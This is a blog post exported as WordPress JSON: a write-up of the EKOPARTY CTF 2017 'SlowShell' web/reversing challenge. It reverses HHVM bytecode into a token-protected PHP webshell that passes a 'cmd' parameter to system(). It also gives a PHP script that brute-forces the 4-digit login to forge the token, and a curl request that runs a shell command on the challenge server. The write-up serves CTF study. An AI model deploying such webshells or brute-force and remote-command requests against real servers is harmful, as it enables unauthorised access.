{"id":14736,"date":"2017-09-29T12:11:45","date_gmt":"2017-09-29T10:11:45","guid":{"rendered":"https:\/\/codisec.com\/?p=14736"},"modified":"2023-03-22T16:29:56","modified_gmt":"2023-03-22T15:29:56","slug":"ekoparty-ctf-2017-slowshell","status":"publish","type":"post","link":"https:\/\/codisec.com\/ekoparty-ctf-2017-slowshell\/","title":{"rendered":"EKOPARTY CTF 2017: SlowShell"},"content":{"rendered":"

CTF: EKOPARTY CTF 2017
\nPoints: 498 (solved by 2 teams)
\nCategory: Web, RE<\/p>\n

DESCRIPTION<\/h2>\n

In this challenge we were given a URL of a web service – http:\/\/hhvm.ctf.site:10080\/<\/code> and two shell commands which were used to run the service:<\/p>\n

$ hhvm --hphp -t hhbc -v AllVolatile=true --input-dir . -o HHVM<\/pre>\n

and:<\/p>\n

$ hhvm -m server -d hhvm.server.type=proxygen \\\r\n                 -d hhvm.server.port=8080 \\\r\n                 -d hhvm.repo.authoritative=true \\\r\n                 -d hhvm.repo.central.path=.\/HHVM\/hhvm.hhbc<\/pre>\n

About hhvm<\/h2>\n

HHVM is a virtual machine for PHP developed by Facebook, which uses JIT to accelerate code execution. PHP scripts are converted into HipHop bytecode (HHBC), optimized and then compiled into native machine code.<\/p>\n

By default, HHVM works similarly to Zend Engine – it loads and runs PHP files on demand. Although flexible, this method is grossly inefficient since it gives little room for advanced optimizations. The alternative is to use “repo authoritative” mode (used in this challenge) in which HHVM builds a SQLite3 database (hhvm.hhbc<\/code>) with highly-optimized bytecode and additional metadata required to run all scripts.<\/p>\n

SOLUTION<\/h2>\n

Obtaining the hhvm.hhbc<\/h3>\n

The first thing we need to do is to extract the repo file. Luckily for us it is easily accessible, since Proxygen (built-in HTTP server) serves all files from the directory it was run. We just run<\/p>\n

$ wget http:\/\/hhvm.ctf.site:10080\/HHVM\/hhvm.hhbc<\/pre>\n

You can download it here<\/a>.<\/p>\n

Discovering PHP files<\/h3>\n

Now, when we have the repo file, we can see what is happening under the hood. First, let’s see what endpoints we can find on the server. To do this we can simply load the database and look around for hints. One of the interesting tables contains:
\n\"\"<\/p>\n

Dumping the bytecode<\/h3>\n

Next step is to find out what both of those scripts are doing. In order to do this, we can pass a -vEval.DumpBytecode=1<\/code> flag to HHVM.<\/p>\n

$ hhvm -d hhvm.repo.authoritative=true \\\r\n       -d hhvm.repo.central.path=.\/HHVM\/hhvm.hhbc \\\r\n       -vEval.DumpBytecode=1 [filename]\r\n<\/pre>\n

This command will extract and print HipHop bytecode from repo. I’ve included dumps of both files for reference, but I’ll skip to manually “reversed” PHP code. I encourage you to try and analyze HHBC by yourself. It works as a simple stack machine<\/a>. Look here<\/a> for HHBC specification.<\/p>\n

shell.php:<\/h4>\n
Pseudo-main at 0\r\nrepoReturnType: Int\r\nmaxStackCells: 5\r\nnumLocals: 2\r\nnumIterators: 0\r\nnumClsRefSlots: 0\r\n  \/\/ line 3\r\n    0: String \"\/etc\/slow-auth.ini\"\r\n    5: False\r\n    6: Int 0\r\n   15: AssertRATStk 1 Bool\r\n   18: AssertRATStk 2 SStr\r\n   21: FCallBuiltin 3 1 \"parse_ini_file\"\r\n   28: UnboxRNop\r\n   29: SetL L:0\r\n   31: PopC\r\n  \/\/ line 5\r\n   32: String \"_GET\"\r\n   37: AssertRATStk 0 SStr\r\n   40: BaseGC 0 None\r\n   44: AssertRATStk 0 SStr\r\n   47: QueryM 1 Empty ET:\"token\"\r\n   56: AssertRATStk 0 Bool\r\n   59: JmpNZ 124 (183)\r\n   64: String \"_GET\"\r\n   69: AssertRATStk 0 SStr\r\n   72: BaseGC 0 None\r\n   76: AssertRATStk 0 SStr\r\n   79: QueryM 1 Empty ET:\"cmd\"\r\n   88: AssertRATStk 0 Bool\r\n   91: JmpNZ 92 (183)\r\n   96: String \"_GET\"\r\n  101: AssertRATStk 0 SStr\r\n  104: BaseGC 0 Warn\r\n  108: AssertRATStk 0 SStr\r\n  111: QueryM 1 CGet ET:\"token\"\r\n  120: BaseL L:0 Warn\r\n  124: QueryM 0 CGet ET:\"token\"\r\n  133: Same\r\n  134: JmpZ 49 (183)\r\n  \/\/ line 6\r\n  139: String \"Welcome admin!<br\/>\"\r\n  144: Print\r\n  145: PopC\r\n  \/\/ line 7\r\n  146: String \"_GET\"\r\n  151: AssertRATStk 0 SStr\r\n  154: BaseGC 0 Warn\r\n  158: AssertRATStk 0 SStr\r\n  161: QueryM 1 CGet ET:\"cmd\"\r\n  170: NullUninit\r\n  171: FCallBuiltin 2 1 \"system\"\r\n  178: UnboxRNop\r\n  179: AssertRATStk 0 ?Str\r\n  182: PopC\r\n  183: Int 1\r\n  192: RetC\r\nPseudo-main at 0\r\nrepoReturnType: Int\r\nmaxStackCells: 5\r\nnumLocals: 2\r\nnumIterators: 0\r\nnumClsRefSlots: 0\r\n<\/pre>\n

shell-login.php:<\/h4>\n
Pseudo-main at 0\r\nrepoReturnType: Int\r\nmaxStackCells: 12\r\nnumLocals: 6\r\nnumIterators: 0\r\nnumClsRefSlots: 0\r\n FPI 214-234; fpOff = 9\r\n FPI 253-287; fpOff = 9\r\n  \/\/ line 3\r\n    0: String \"_POST\"\r\n    5: EmptyG\r\n    6: JmpNZ 369 (375)\r\n  \/\/ line 4\r\n   11: String \"_POST\"\r\n   16: AssertRATStk 0 SStr\r\n   19: BaseGC 0 Warn\r\n   23: AssertRATStk 0 SStr\r\n   26: QueryM 1 CGet ET:\"username\"\r\n   35: Int 0\r\n   44: Int 32\r\n   53: AssertRATStk 1 Int\r\n   56: FCallBuiltin 3 3 \"substr\"\r\n   63: UnboxRNop\r\n   64: SetL L:1\r\n   66: PopC\r\n  \/\/ line 5\r\n   67: String \"_POST\"\r\n   72: AssertRATStk 0 SStr\r\n   75: BaseGC 0 Warn\r\n   79: AssertRATStk 0 SStr\r\n   82: QueryM 1 CGet ET:\"password\"\r\n   91: Int 0\r\n  100: Int 4\r\n  109: AssertRATStk 1 Int\r\n  112: FCallBuiltin 3 3 \"substr\"\r\n  119: UnboxRNop\r\n  120: CastInt\r\n  121: CastString\r\n  122: SetL L:2\r\n  124: PopC\r\n  \/\/ line 6\r\n  125: Int 0\r\n  134: SetL L:3\r\n  \/\/ line 8\r\n  136: PopC\r\n  \/\/ line 6\r\n  137: Int 16\r\n  146: CGetL2 L:3\r\n  148: AssertRATStk 0 Int\r\n  151: Lt\r\n  152: JmpZ 46 (198)\r\n  \/\/ line 7\r\n  157: CGetL L:2\r\n  159: False\r\n  160: FCallBuiltin 2 1 \"md5\"\r\n  167: UnboxRNop\r\n  168: AssertRATStk 0 ?Str\r\n  171: SetL L:2\r\n  173: PopC\r\n  \/\/ line 6\r\n  174: IncDecL L:3 PostIncO\r\n  \/\/ line 8\r\n  177: PopC\r\n  \/\/ line 6\r\n  178: Int 16\r\n  187: CGetL2 L:3\r\n  189: AssertRATStk 0 Int\r\n  192: Lt\r\n  193: JmpNZ -36 (157)\r\n  \/\/ line 10\r\n  198: String \"EKO-ADMIN\"\r\n  203: CGetL2 L:1\r\n  205: AssertRATStk 0 SStr\r\n  208: Same\r\n  209: JmpZ 158 (367)\r\n  214: FPushFuncD 2 \"password_verify\"\r\n  220: CGetL L:2\r\n  222: FPassC 0\r\n  224: String \"$2y$12$tQdBpH9ZlMomuSxwpw\/5Iuxe4xTdu8RbBG4ODCxyZPM0Hl3vpkC4q\"\r\n  229: FPassC 1\r\n  231: AssertRATStk 0 SStr\r\n  234: FCallD 2 \"\" \"password_verify\"\r\n  244: UnboxRNop\r\n  245: AssertRATStk 0 Bool\r\n  248: JmpZ 119 (367)\r\n  \/\/ line 11\r\n  253: FPushFuncD 3 \"password_hash\"\r\n  259: CGetL L:2\r\n  261: FPassC 0\r\n  263: Int 1\r\n  272: FPassC 1\r\n  274: Array array(\"cost\"=>24,\"salt\"=>\"3165613164316437343131346634616663323364623631393534316630336634653663353466373638373835\")\r\n  279: FPassC 2\r\n  281: AssertRATStk 0 SArr\r\n  284: AssertRATStk 1 Int\r\n  287: FCallD 3 \"\" \"password_hash\"\r\n  297: UnboxRNop\r\n  298: False\r\n  299: FCallBuiltin 2 1 \"md5\"\r\n  306: UnboxRNop\r\n  307: AssertRATStk 0 ?Str\r\n  310: SetL L:4\r\n  312: PopC\r\n  \/\/ line 12\r\n  313: String \"Location: shell.php\\?token=\"\r\n  318: String \"&cmd=cat%20\/etc\/slow-webshell.txt\"\r\n  323: CGetL2 L:4\r\n  325: AssertRATStk 0 SStr\r\n  328: Concat\r\n  329: AssertRATStk 1 SStr\r\n  332: ConcatN 2\r\n  334: True\r\n  335: Int 0\r\n  344: AssertRATStk 1 Bool\r\n  347: AssertRATStk 2 Str\r\n  350: FCallBuiltin 3 1 \"header\"\r\n  357: UnboxRNop\r\n  358: AssertRATStk 0 InitNull\r\n  361: PopC\r\n  362: Jmp 13 (375)\r\n  \/\/ line 14\r\n  367: String \"<strong>Invalid username or password<\/strong>\"\r\n  372: SetL L:5\r\n  374: PopC\r\n  \/\/ line 21\r\n  375: String \"<html>\\n <head>\\n  <title>Slow Webshell<\/title>\\n  \"\r\n  380: Print\r\n  381: PopC\r\n  382: String \"<s\"\r\n  387: Print\r\n  388: PopC\r\n  \/\/ line 29\r\n  389: String \"tyle>\\n   .login-form {text-align: center;}\\n   input {margin: 5px;}\\n  <\/style>\\n <\/head>\\n <body>\\n  <div class=\\\"login-form\\\">\\n   <h2>Slow Webshell<\/h2>\\n   \"\r\n  394: Print\r\n  395: PopC\r\n  396: EmptyL L:5\r\n  398: JmpNZ 9 (407)\r\n  403: CGetL L:5\r\n  405: Print\r\n  406: PopC\r\n  \/\/ line 37\r\n  407: String \"   <form method=\\\"POST\\\">\\n    <input type=\\\"text\\\" name=\\\"username\\\" placeholder=\\\"username\\\" required \/><br\/>\\n    <input type=\\\"password\\\" name=\\\"password\\\" placeholder=\\\"password\\\" required \/><br\/>\\n    <input type=\\\"submit\\\" name=\\\"submit\\\" value=\\\"Authenticate\\\" \/>\\n   <\/form>\\n  <\/div>\\n <\/body>\\n<\/html>\\n\"\r\n  412: Print\r\n  413: PopC\r\n  414: Int 1\r\n  423: RetC\r\nPseudo-main at 0\r\nrepoReturnType: Int\r\nmaxStackCells: 12\r\nnumLocals: 6\r\nnumIterators: 0\r\nnumClsRefSlots: 0\r\n FPI 214-234; fpOff = 9\r\n FPI 253-287; fpOff = 9<\/pre>\n

Vulnerability<\/h3>\n

Ok, now that we have rewritten bytecode to PHP, we can look for a way to pwn the server.<\/p>\n

shell.php:<\/h4>\n
$conf = parse_ini_file(\"\/etc\/slow-auth.ini\");\r\nif ($_GET['token'] && $_GET['cmd']) {\r\n\tif ($_GET['token'] == $conf['token']) {\r\n\t\techo \"Welcome admin!<br\/>\";\r\n\t\tsystem($_GET['cmd']);\r\n\t}\r\n}\r\n<\/pre>\n

This script can run any shell command but requires an unknown token. Let’s leave it for now.<\/p>\n

shell-login.php:<\/h4>\n
if (isset($_POST)) {\r\n\t$user = substr($_POST['username'], 0, 32);\r\n\t$pass = substr($_POST['password'], 0, 4);\r\n\r\n\t$pass = strval(intval($pass));\r\n\r\n\tfor ($i = 0; $i < 16; $i++) {\r\n\t\t$pass = md5($pass);\r\n\t}\r\n\r\n\tif ($user == 'EKO-ADMIN' && password_verify($pass, '$2y$12$tQdBpH9ZlMomuSxwpw\/5Iuxe4xTdu8RbBG4ODCxyZPM0Hl3vpkC4q')) {\r\n\t\t$options = [\r\n\t\t\t'cost' => 24,\r\n\t\t\t'salt' => \"3165613164316437343131346634616663323364623631393534316630336634653663353466373638373835\"\r\n\t\t];\r\n\t\t$token = md5(password_hash($pass, PASSWORD_BCRYPT, $options));\t\t\r\n\t\theader(\"Location: shell.php?token=\" . $token . \"&cmd=cat%20\/etc\/slow-webshell.txt\");\r\n\t} else {\r\n\t\t$error = \"<strong>Invalid username or password<\/strong>\";\r\n\t}\r\n}\r\n\techo \"<html>....\";\r\n\techo \"<style>....\";\r\n\t\r\n\tif ($error) {\r\n\t\techo $error;\r\n\t}\r\n\r\n\techo \"<form>.....\";\r\n\r\n?>\r\n<\/pre>\n

This script is much more interesting. To generate a valid token, we have to send a correct password, however as we can see in lines 3 and 5, password is truncated to 4 letters and then converted to integer. Those transformations reduce search space to numbers up to 4-digits long – 10 000 different passwords. Additionally, after logging in, a token is generated and we are redirected to \/shell.php?token=[token]&cmd=cat%20\/etc\/slow-webshell.txt<\/code>, so this probably displays the file containing flag. <\/p>\n

Logging in<\/h3>\n

Ok, now we know everything to get to the shell. The first thing to do is to break the password. We’ll do this by simply iterating over all 10 000 numbers, computing 16xMD5 hash of candidate and using password_verify<\/code> for final verification.
\nAfter finding a valid password we have two options: either use it in the login form and let the server compute a valid token or generate it locally and directly access shell.php<\/code>.<\/p>\n

Here’s a script which finds both password and a token (warning – takes a lot of time to finish):<\/p>\n

<?php\r\nfunction md5calc($s) {\r\n        for ($i = 0; $i < 16; $i++) {\r\n                $s = md5($s);\r\n        }\r\n        return $s;\r\n}\r\n\r\nfunction print_token($p) {\r\n        $options = [\r\n                'cost' => 24,\r\n                'salt' => \"3165613164316437343131346634616663323364623631393534316630336634653663353466373638373835\"\r\n        ];\r\n        $token = md5(password_hash($p, PASSWORD_BCRYPT, $options));\r\n        echo \"Token: $token\\n\";\r\n}\r\n\r\nfor ($i = 0; $i < 10000; $i++) {\r\n        $pass = strval($i);\r\n        $pass = md5calc($pass);\r\n        if (password_verify($pass, '$2y$12$tQdBpH9ZlMomuSxwpw\/5Iuxe4xTdu8RbBG4ODCxyZPM0Hl3vpkC4q')) {\r\n                echo \"Password: $i\\n\";\r\n                print_token($pass);\r\n                break;\r\n        }\r\n}\r\n\r\n?>\r\n<\/pre>\n

After finding the token, we can simply curl the URL from shell-login.php<\/code> to reveal the flag:<\/p>\n

\r\n$ curl \"http:\/\/hhvm.ctf.site:10080\/shell.php?token=8b5e48da54af5ef22fbd1045c10d3d58&cmd=cat%20\/etc\/slow-webshell.txt\"\r\n...\r\nEKO{m4st3r+of+HHVM+0pc0d35}\r\n...\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"

CTF: EKOPARTY CTF 2017 Points: 498 (solved by 2 teams) Category: Web, RE DESCRIPTION In this challenge we were given a URL of a web service – http:\/\/hhvm.ctf.site:10080\/ and two shell commands which were used to run the service: $…<\/span> <\/p>\n

Read more ›<\/div>\n

<\/a><\/p>\n","protected":false},"author":17,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[25,48],"tags":[44,10,12,31],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n\t\n